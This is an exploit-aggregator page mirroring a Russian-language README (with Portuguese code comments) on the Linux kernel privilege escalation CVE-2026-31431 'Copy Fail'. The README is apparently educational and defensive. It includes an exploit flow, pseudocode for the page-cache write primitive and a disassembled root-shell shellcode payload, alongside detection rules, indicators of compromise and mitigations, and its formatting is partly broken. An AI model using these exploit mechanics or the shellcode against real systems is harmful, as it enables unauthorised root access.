Sploitus

Exploit for cve-2026-31431-copyfail

kitploit · 2026-08-27

Exploit Code

MARKDOWN501 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-DARIOOMATOS-CVE-2026-31431-COPYFAIL
# CVE-2026-31431 — «Copy Fail» 🔐

> **Образовательный технический анализ** одной из самых значимых уязвимостей ядра Linux со времен Dirty Pipe (2022).  
>  Этот репозиторий предназначен для **исследований, изучения и защиты**. Здесь не распространяется ни один рабочий эксплойт.

* * *

## Содержание

  * Что это?
  * Для новичков: аналогия
  * Хронология
  * Как это работает технически
  * Проанализированный шеллкод
  * Сравнение с похожими уязвимостями
  * Затронутые системы
  * Затронут ли Android?
  * Обнаружение
  * Смягчение и патчи
  * Учебные реализации
  * Ссылки



* * *

## Что это?

**CVE-2026-31431** , получившая прозвище _Copy Fail_ , — это уязвимость **локального повышения привилегий** (LPE — Local Privilege Escalation) в ядре Linux. Она позволяет любому непривилегированному пользователю получить доступ **root** за считанные секунды.

* * *

## Для новичков: аналогия

Представьте, что у операционной системы есть **рабочая память** (называемая _page cache_), где хранятся копии файлов, которые используются в данный момент. Когда вы запускаете программу, система загружает её в эту память и выполняет оттуда — а не напрямую с диска.

Copy Fail позволяет обычному пользователю **изменить эту копию в памяти** специальной программы (бинарного файла _setuid_ , например, команды `su`), не затрагивая исходный файл на диске. Файл на диске остаётся нетронутым, но при запуске программы система считывает повреждённую версию из памяти.

Это как подменить рецепт блюда в памяти шеф-повара, пока он готовит, — оригинальная кулинарная книга не меняется, но блюдо, которое получается на выходе, совершенно другое.

**Результат:** повреждённая программа выполняет код атакующего с правами root.

**Что делает это особенно опасным:**

  * Нет окна состояния гонки — это детерминированно
  * Не оставляет следов на диске (дисковая криминалистика не обнаружит)
  * Работает практически на всех дистрибутивах Linux начиная с 2017 года
  * Оригинальный эксплойт занимает всего ~700 байт Python



* * *

## Хронология```

2015 → AF_ALG ganha suporte a AEAD (algif_aead.c) authencesn introduz escrita em assoclen+cryptlen (mas ainda out-of-place)

2017 → Commit 72548b093ee3: otimização converte operação para in-place req->src = req->dst → páginas do page cache entram na scatterlist de escrita BUG INTRODUZIDO — passa despercebido por ~9 anos

2026 Mar 23 → Taeyang Lee (Theori) reporta ao time de segurança do kernel Linux Descoberta assistida por IA (Xint Code — ~1h de scan)

2026 Abr 1 → Patch mainline commitado (a664bf3d603d) — reverte a otimização de 2017

2026 Abr 22 → CVE-2026-31431 atribuída

2026 Abr 29 → Divulgação pública + PoC Python liberado Arch Linux, Fedora, Amazon Linux já com patches Ubuntu, RHEL, SUSE publicam guidance de mitigação

2026 Mai 1 → Kernels corrigidos chegam a AlmaLinux, CloudLinux, Rocky Linux Adicionado ao CISA KEV (Known Exploited Vulnerabilities) Exploits em Go e Rust aparecem em repositórios públicos

root@kitploit:~
    
    
    ---
    
    ## Как это работает технически
    
    ### Обзор потока```
    Atacante (usuário sem privilégios)
        │
        ├─ 1. socket(AF_ALG, SOCK_SEQPACKET)
        │       Cria socket de criptografia no kernel
        │       bind: "authencesn(hmac(sha256),cbc(aes))"
        │
        ├─ 2. setsockopt: define chave AEAD + authsize=4
        │
        ├─ 3. accept() → op_socket
        │
        ├─ 4. sendmsg([AAD + ciphertext], cmsg=[DECRYPT, IV, assoclen])
        │       AAD bytes [4:8] = os 4 bytes que queremos ESCREVER no page cache
        │
        ├─ 5. pipe() + splice(arquivo_alvo → pipe → op_socket)
        │       CRÍTICO: injeta páginas do page cache na scatterlist do AF_ALG
        │       As páginas do arquivo agora estão no destino GRAVÁVEL da operação
        │
        ├─ 6. recv() → dispara o authencesn
        │       authencesn::scatterwalk_map_and_copy(seqno_lo, dst, assoclen+cryptlen, 4, WRITE)
        │       Escreve 4 bytes em dst[assoclen + cryptlen]
        │       = escreve DIRETAMENTE no page cache do arquivo-alvo ✓
        │       HMAC falha → retorna EBADMSG → IGNORADO
        │
        └─ 7. Repete (4 bytes por iteração) até cobrir todo o ELF replacement
               Executa o binário alvo → root shell
    

### Root cause: in-place operation + sg_chain()

Ошибка находится в `crypto/algif_aead.c`. В 2017 году операция AEAD была переведена на _in-place_ для повышения производительности:```c // Antes (seguro): req->src e req->dst são scatterlists separadas // Depois (bugado, commit 72548b093ee3): req->src = req->dst; // mesma scatterlist para entrada e saída

// Para a tag de autenticação, em vez de copiar, o código encadeia por referência: sg_chain(areq_ctx->rsgl[0].sg, n, areq_ctx->tsgl); // ↑ As páginas do page cache (vindas do splice) agora estão na scatterlist de SAÍDA

root@kitploit:~
    
    
    Алгоритм `authencesn` использует целевой буфер как *scratch space* для переупорядочивания байтов Extended Sequence Number (ESN) из IPsec:```c
    // Em authencesn_decrypt():
    scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
    //                                       ^^^^^^^^^^^^^^^^^^^^^^^^^
    //                                       offset que ultrapassa o output buffer
    //                                       e cai nas páginas do page cache encadeadas
    

### Почему не остаётся следов

Запись полностью обходит VFS. Изменённая страница никогда не помечается как _dirty_ механизмом writeback ядра. Файл на диске остаётся нетронутым. Инструменты целостности, основанные на хэшах (`aide`, `tripwire`, `inotifywait`), ничего не обнаруживают, потому что они отслеживают диск, а не page cache.

* * *

## Разбор шеллкода

Эксплойт встраивает мини-ELF размером 160 байт, сжатый с помощью zlib. После распаковки исполняемая часть выглядит так:```nasm ; Offset 0x78 no arquivo ELF (entry point)

xor eax, eax ; limpa registradores xor edi, edi ; uid = 0 mov al, 0x69 ; syscall 105 = setuid syscall ; setuid(0) → effective UID = root

lea rdi, [rel bin_sh] ; rdi → "/bin/sh\0" xor esi, esi ; argv = NULL push 0x3b ; syscall 59 = execve pop rax cdq ; rdx = 0 (envp = NULL) syscall ; execve("/bin/sh", NULL, NULL)

; Fallback xor edi, edi push 0x3c ; syscall 60 = exit pop rax syscall ; exit(0)

bin_sh: db "/bin/sh", 0

root@kitploit:~
    
    
    **Минимальная структура ELF (всего 160 байт):**```
    Offset 0x00–0x3F  → ELF64 Header (64 bytes)
                        e_type=ET_EXEC, e_machine=EM_X86_64
                        e_entry=0x400078, e_phnum=1
    
    Offset 0x40–0x77  → Program Header PT_LOAD (56 bytes)
                        p_flags=PF_R|PF_X, p_vaddr=0x400000
                        p_filesz=0x9e
    
    Offset 0x78–0x9D  → Shellcode (26 bytes código + "/bin/sh\0")
    

* * *

## Сравнение с аналогичными уязвимостями

* * *

## Затронутые системы

**Версии ядра:**

  * Введена: Linux 4.14 (июль 2017)
  * Исправлена: 6.18.22, 6.19.12, 7.0



**Дистрибутивы с подтверждёнными рабочими эксплойтами:**

  * Ubuntu 24.04 LTS
  * Amazon Linux 2023
  * Red Hat Enterprise Linux 10.1
  * SUSE Linux Enterprise 16
  * Debian, Fedora, Arch Linux, AlmaLinux, Rocky Linux



**Необходимое условие:** `CONFIG_CRYPTO_USER_API_AEAD=y` или `=m` в ядре

**Проверка, подвержена ли система уязвимости:** ```bash

# Verifica se o módulo está disponível

grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)

# =y → built-in (mais difícil de desabilitar)

# =m → módulo carregável (pode ser bloqueado via modprobe)

# (ausente) → não afetado

# Teste direto (não causa dano, apenas testa acesso):

python3 -c " import socket try: s = socket.socket(38, 5, 0) s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))')) print('⚠️ EXPOSTO: algif_aead acessível') s.close() except Exception as e: print(f'✅ Bloqueado: {e}') "

root@kitploit:~
    
    
    ---
    
    ## Android затронут?
    
    **Краткий ответ:** стандартный Android (AOSP/GKI) **на практике не уязвим**, но устройства с нестандартными конфигурациями заслуживают проверки.
    
    ### Анализ по предварительным условиям```
    Pré-requisito                 Android AOSP/GKI padrão    Android OEM/rooteado
    ──────────────────────────────────────────────────────────────────────────────
    Kernel na faixa afetada       ✅ Sim (Android 12–16)      ✅ Sim
    algif_aead habilitado         ❌ Não (fora do GKI)        ⚠️  Possível (OEM config)
    AF_ALG acessível a apps       ❌ Bloqueado SELinux+seccomp ⚠️  Depende da policy
    Binário setuid disponível     ❌ Android não usa setuid    ⚠️  Apenas builds eng/root
    ──────────────────────────────────────────────────────────────────────────────
    Exploração via APK            ❌ Inviável                  ❌ Inviável
    Exploração via ADB shell      ❌ Bloqueado por SELinux     ⚠️  Possível (permissive)
    

### Почему Android защищён от природы

**1.`CONFIG_CRYPTO_USER_API_AEAD` отсутствует в GKI** Google не включает эту опцию в стандартный `gki_defconfig` для arm64. Android использует BoringSSL в userspace для шифрования и не полагается на AF_ALG.

**2\. SELinux enforcing** Домен `untrusted_app` SELinux в Android не имеет разрешения `create` для `AF_ALG`. Вызов `socket(AF_ALG, SOCK_SEQPACKET, 0)` отклоняется с `EACCES` до того, как достигнет подсистемы шифрования.

**3\. Seccomp-bpf** Приложения Android работают с фильтром seccomp, который блокирует `socket()` с `domain=AF_ALG` — его нет в whitelist разрешённых syscalls для сторонних приложений.

**4\. Отсутствие setuid-бинарников** Android не использует традиционную модель setuid из Linux. Привилегированные бинарники используют конкретные _capabilities_ или работают как сервисы с выделенными UID. В продакшен-сборках AOSP нет `/usr/bin/su`.

### Сценарии риска в Android

### Как проверить устройство Android```bash

# Verificar config do kernel

adb shell zcat /proc/config.gz | grep CRYPTO_USER_API_AEAD

# Verificar modo SELinux

adb shell getenforce

# Enforcing = protegido / Permissive = risco potencial

# Teste direto (requer adb shell funcional)

adb shell python3 -c " import socket try: s = socket.socket(38, 5, 0) s.bind(('aead','authencesn(hmac(sha256),cbc(aes))')) print('EXPOSTO') except Exception as e: print('Bloqueado:', e) " 2>/dev/null || echo "python3 não disponível no device"

# Procurar binários setuid (incomum em Android padrão)

adb shell find /system /vendor -perm -4000 -type f 2>/dev/null

root@kitploit:~
    
    
    ---
    
    ## Обнаружение
    
    ### Falco (обнаружение в реальном времени)```yaml
    - rule: Copy Fail - AF_ALG AEAD Socket por processo não autorizado
      desc: >
        Detecta criação de socket AF_ALG SOCK_SEQPACKET por processo fora da
        toolchain de criptografia de disco. Primeiro passo obrigatório do CVE-2026-31431.
      condition: >
        evt.type = socket
        and evt.rawres >= 0
        and (evt.arg.domain = 38 or evt.arg.domain contains AF_ALG)
        and (evt.arg.type = 5 or evt.arg.type = 2053)
        and not proc.name in (cryptsetup, systemd-cryptsetup, veritysetup,
                              integritysetup, kcapi-enc, kcapi-dgst)
      output: >
        AF_ALG AEAD socket por processo suspeito
        (proc=%proc.name pid=%proc.pid user=%user.name cmd=%proc.cmdline)
      priority: CRITICAL
      tags: [CVE-2026-31431, kernel, privilege_escalation]
    

### Индикаторы компрометации (IoCs)```bash

# Processo Python que abre AF_ALG seguido de execução de shell

# strace de processo suspeito mostrando:

# socket(AF_ALG=38, SOCK_SEQPACKET, 0)

# bind(..., "authencesn(hmac(sha256),cbc(aes))", ...)

# splice(...) ← arquivo → pipe → socket

# recvmsg(...)

# Seguido de:

# setuid(0)

# execve("/bin/sh", ...)

# Red flags nos logs do sistema:

# \- Processo não-root com UID transitioning para 0

# \- python3 como parent de sh/bash

# \- Sequência socket+splice+recv em processo de usuário comum

root@kitploit:~
    
    
    ### Проверить, была ли система скомпрометирована```bash
    # Page cache pode ser limpo com:
    echo 3 > /proc/sys/vm/drop_caches
    # Isso desfaz a corrupção em memória (sem trocar o binário em disco)
    
    # Verificar integridade do binário em execução vs. disco:
    # (não detecta a corrupção enquanto a página está no cache)
    sha256sum /usr/bin/su
    # Compare com o hash de referência da distribuição
    

* * *

## Mitigação e patches

### Opção 1 — Atualizar o kernel (recomendado)```bash

# Ubuntu / Debian

sudo apt update && sudo apt upgrade linux-image-generic sudo reboot

# RHEL / AlmaLinux / Rocky Linux

sudo dnf upgrade kernel sudo reboot

# Fedora

sudo dnf upgrade kernel sudo reboot

# Arch Linux

sudo pacman -Syu linux sudo reboot

# Verificar versão após reboot:

uname -r

# Deve ser >= 6.18.22 ou >= 6.19.12 conforme sua série

root@kitploit:~
    
    
    **Исправленные версии по сериям:**
    
    | Серия | Исправленная версия |
    |---|---|
    | 5.10.x | 5.10.254 |
    | 5.15.x | 5.15.204 |
    | 6.1.x  | 6.1.170  |
    | 6.6.x  | 6.6.137  |
    | 6.12.x | 6.12.85  |
    | 6.18.x | **6.18.22** |
    | 6.19.x | **6.19.12** |
    | 7.0+   | **7.0** (исправление включено) |
    
    ### Вариант 2 — Отключение algif_aead (временный обходной путь)
    
    **Если `CONFIG_CRYPTO_USER_API_AEAD=m` (загружаемый модуль):**```bash
    echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
    rmmod algif_aead 2>/dev/null || true
    

**Se`CONFIG_CRYPTO_USER_API_AEAD=y` (встроенный — случай RHEL/Rocky/CloudLinux):**

> ⚠️ Приведённая выше команда **не работает** , когда модуль скомпилирован в ядро.```bash

# Use o initcall_blacklist via grubby:

grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init" sudo reboot

# Verificar se o mitigation está ativo:

cat /proc/cmdline | grep algif_aead_init

root@kitploit:~
    
    
    **Подтверждение, что обходное решение работает:**```bash
    python3 -c "
    import socket
    try:
        s = socket.socket(38, 5, 0)
        s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
        print('❌ MITIGAÇÃO FALHOU — socket ainda acessível')
    except:
        print('✅ Mitigação ativa — socket bloqueado')
    "
    

**Совместимость обходного решения:** Блокировка `algif_aead` **не влияет** на dm-crypt/LUKS, kTLS, IPsec/XFRM, OpenSSL, GnuTLS, NSS, SSH. Она затрагивает только приложения, которые явно используют AF_ALG для AEAD (редко — например, OpenSSL с engine `afalg`, аппаратная разгрузка криптографии).

### Вариант 3 — Seccomp / LSM для контейнерных сред```yaml

# Perfil seccomp para bloquear AF_ALG em containers:

{ "syscalls": [{ "names": ["socket"], "action": "SCMP_ACT_ERRNO", "args": [{ "index": 0, "value": 38, "op": "SCMP_CMP_EQ" }] }] }

root@kitploit:~
    
    
    ---
    
    ## Учебные реализации
    
    В этом репозитории документируется механизм эксплойта на нескольких языках в образовательных целях. Основное внимание уделяется пониманию того, **как** работает уязвимость, а не распространению атакующих инструментов.
    
    ### Структура механизма (псевдокод)```
    função escreve_4_bytes_no_page_cache(arquivo, offset, bytes[4]):
        alg = socket(AF_ALG, SEQPACKET)
        alg.bind("authencesn(hmac(sha256),cbc(aes))")
        alg.set_key(chave_36_bytes)
        alg.set_authsize(4)          ← 4 bytes = tamanho do write primitivo
        op = alg.accept()
    
        # O segredo: bytes[0:4] vão para posições [4:8] do AAD
        # authencesn lerá isso como seqno_lo e escreverá no page cache
        aad = [0,0,0,0] + bytes      ← [seqno_hi=0][seqno_lo=bytes_desejados]
    
        op.sendmsg(aad + bytes, [OP_DECRYPT, IV_16B, assoclen=8])
    
        pipe_r, pipe_w = pipe()
        splice(arquivo → pipe_w, len=offset+4, src_offset=0)
        splice(pipe_r  → op,     len=offset+4)
        # ↑ Injeta page cache na scatterlist do AF_ALG
    
        op.recv()  ← dispara authencesn → escrita acontece → EBADMSG ignorado
    
    # Uso:
    elf_payload = descomprime(payload_zlib)
    fd = open("/usr/bin/su", O_RDONLY)
    para cada chunk[4] em elf_payload:
        escreve_4_bytes_no_page_cache(fd, offset, chunk)
    executa("/usr/bin/su")  ← agora executa nosso ELF → root
    

### Документированные языки

Файл `copyfail_study.md` содержит полные и прокомментированные реализации.

### О ELF-пейлоаде

Извлечённый шеллкод (после декомпрессии zlib из PoC) выполняет:```

  1. setuid(0) → syscall 105 (0x69)
  2. execve("/bin/sh",0,0) → syscall 59 (0x3b) com /bin/sh como string inline
  3. exit(0) → syscall 60 (0x3c) — fallback



root@kitploit:~
    
    
    Total: 26 байт кода + 8 байт строки = 34 байта шеллкода внутри ELF размером 160 байт.
    
    ---
    
    ## Ссылки
    
    | Ресурс | Ссылка |
    |---|---|
    | Оригинальный writeup (Theori/Xint) | https://xint.io/blog/copy-fail-linux-distributions |
    | Официальный сайт CVE | https://copy.fail |
    | NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-31431 |
    | Оригинальный репозиторий PoC | https://github.com/theori-io/copy-fail-CVE-2026-31431 |
    | Основной патч | https://git.kernel.org/stable/c/a664bf3d603d |
    | Wikipedia | https://en.wikipedia.org/wiki/Copy_Fail |
    | Анализ Sysdig + правило Falco | https://sysdig.com/blog/cve-2026-31431-copy-fail |
    | Анализ Microsoft Defender | https://microsoft.com/security/blog/2026/05/01/cve-2026-31431 |
    | FAQ Tenable | https://tenable.com/blog/copy-fail-cve-2026-31431 |
    | Advisory CERT-EU | https://cert.europa.eu/publications/security-advisories/2026-005 |
    | Анализ Bugcrowd | https://bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431 |
    | Обсуждение OSS-Security | https://openwall.com/lists/oss-security/2026/04/29/23 |
    | Патч AlmaLinux | https://almalinux.org/blog/2026-05-01-cve-2026-31431-copy-fail |
    | Патч CloudLinux + анализ workaround | https://blog.cloudlinux.com/cve-2026-31431-copy-fail |
    | Kaspersky / Securelist | https://securelist.com/copyfail-root-linux/119634 |
    
    ---
    
    ## Дисклеймер
    
    Этот репозиторий имеет **исключительно образовательную цель и предназначен для исследований в области защитной безопасности**. Содержимое здесь предназначено для:
    
    - Специалистов по наступательной и защитной безопасности
    - Исследователей уязвимостей
    - Студентов, изучающих информационную безопасность
    - Системных администраторов, которым необходимо понять риск, чтобы смягчить его
    
    **Не используйте эти знания на системах без явного разрешения владельца.** Несанкционированный доступ к компьютерным системам является преступлением практически во всех юрисдикциях (в Бразилии — Закон 12.737/2012 — Закон Каролины Дикманн; Закон 14.155/2021).
    
    ---
    
    *Последнее обновление: май 2026 года*  
    *Приветствуются contributions через PR — сохраняйте образовательную и защитную направленность.*